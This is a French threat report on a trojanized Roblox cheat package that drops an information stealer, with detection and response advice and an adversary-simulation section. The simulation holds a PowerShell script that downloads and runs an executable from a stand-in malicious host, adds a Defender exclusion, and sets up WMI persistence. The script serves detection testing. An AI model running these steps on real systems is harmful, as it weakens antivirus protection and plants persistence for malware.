Cheats Roblox alimentés par l’IA livrent le voleur Yuta/Solara

Résumé

Un package de tricherie Roblox malveillant combine une interface .NET trojanisée avec un voleur Python intégré via PyInstaller. Le chargeur initial affaiblit les protections de Microsoft Defender, récupère une charge utile de deuxième étape depuis MediaFire et lance un malware dérivé de Glove Stealer pour collecter des identifiants, des cookies, des fichiers de portefeuille et des actifs liés aux jeux. Les données volées sont ensuite exfiltrées via des webhooks Discord cryptés et soutenues par un bot Discord RAT persistant.

Enquête

Le rapport fournit une analyse statique approfondie du malware, y compris l’extraction de la charge utile PyInstaller, la décompilation du bytecode Python 3.12 et la cartographie du workflow de vol d’identifiants. Il décrit également la chaîne complète d’exécution à plusieurs étapes, les méthodes d’évasion de défense utilisées par les opérateurs, et l’approche d’évitement à cinq niveaux ciblant les protections de chiffrement lié à l’application de Chrome.

Atténuation

Les organisations devraient bloquer l’exécution des binaires non signés inconnus, appliquer une liste d’autorisation stricte pour les applications, surveiller les modifications aux exclusions de Defender et l’utilisation suspecte de PowerShell, et détecter les téléchargements inhabituels de données de configuration depuis Pastebin. Le trafic de webhooks Discord devrait être restreint ou étroitement surveillé, et les défenseurs devraient surveiller les lancements de Chrome anormaux utilisant des drapeaux liés au débogueur.

Réponse

Les équipes de sécurité devraient alerter sur la création de winupdate.exe dans le cache AppData, des modifications suspectes des clés de registre Run, la création de tâches planifiées, et une activité inhabituelle des canaux Discord. Les fichiers malveillants devraient être mis en quarantaine, les exclusions non autorisées de Defender supprimées, et une collecte médico-légale effectuée sur tout magasin d’identifiants qui pourrait avoir été compromis.

Exécution de Simulation

Condition Préalable : Le test préalable de Télémétrie & Baseline doit avoir réussi.

Rationnel : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.

• Narratif & Commandes d’Attaque :

  1. Transfert d’Outil d’Entrée (T1105) : L’attaquant télécharge l’exécuteur Roblox malveillant (SLaunch.exe) depuis un serveur web compromis.
  2. Exécution avec Manipulation de Defender (T1548.002) : En utilisant PowerShell, l’attaquant exécute SLaunch.exe avec une ligne de commande qui invoque Add-MpPreference -ExclusionPath "C:Roblox" pour mettre en liste blanche le dossier d’installation de Roblox, empêchant Windows Defender de scanner la charge utile injectée.
  3. Persistance (T1546.003 / T1547.001) : Une souscription d’événement WMI est créée pour relancer SLaunch.exe au démarrage du système.
  4. Récolte d’Identifiants (T1056.001, T1555.003) : Pendant que l’injecteur est en cours d’exécution, il capture les frappes et extrait les identifiants Roblox sauvegardés dans les magasins du navigateur.

• Script de Test de Régression : Le script PowerShell suivant reproduit les étapes 2–3 et génère la télémétrie qu’attend la règle Sigma.

  # ------------------------------------------------------------
  # Exécution de l'Injecteur Roblox + Exclusion de Defender (Script TC)
  # ------------------------------------------------------------
  
  # Chemins (ajuster si nécessaire)
  $injectorPath = "C:TempSLaunch.exe"
  $defenderExcl = "C:Roblox"
  
  # 1. Assurez-vous que l'injecteur existe (indicateur de téléchargement)
  if (-Not (Test-Path $injectorPath)) {
      Write-Host "Téléchargement de l'injecteur malveillant..."
      Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath
  }
  
  # 2. Exécuter l'injecteur avec la ligne de commande d'exclusion de Defender
  $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`""
  Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow
  
  # 3. Créer une souscription d'événement permanente WMI pour la persistance
  $wmiFilter = @"
  SELECT * FROM __InstanceCreationEvent
  WITHIN 60
  WHERE TargetInstance ISA 'Win32_Process' 
  AND TargetInstance.Name = 'SLaunch.exe'
  "@
  
  $filterPath = "ROOTDEFAULT"
  $filterName = "RobloxInjectorFilter"
  $consumerName = "RobloxInjectorConsumer"
  
  # Enregistrer le filtre
  $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter `
      -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' }
  
  # Enregistrer le consommateur de ligne de commande
  $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer `
      -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" }
  
  # Lier le filtre au consommateur
  Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH }
  
  Write-Host "Simulation complète – la télémétrie de détection devrait avoir été générée."

• Commandes de Nettoyage : Supprimez l’exclusion de Defender et la souscription WMI créée ci-dessus.

  # Supprimer l'exclusion de Defender
  Remove-MpPreference -ExclusionPath "C:Roblox"
  
  # Supprimer le filtre WMI et le consommateur
  $filterPath = "ROOTDEFAULT"
  Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject
  
  # Supprimer le binaire de l'injecteur
  Remove-Item -Path "C:TempSLaunch.exe" -Force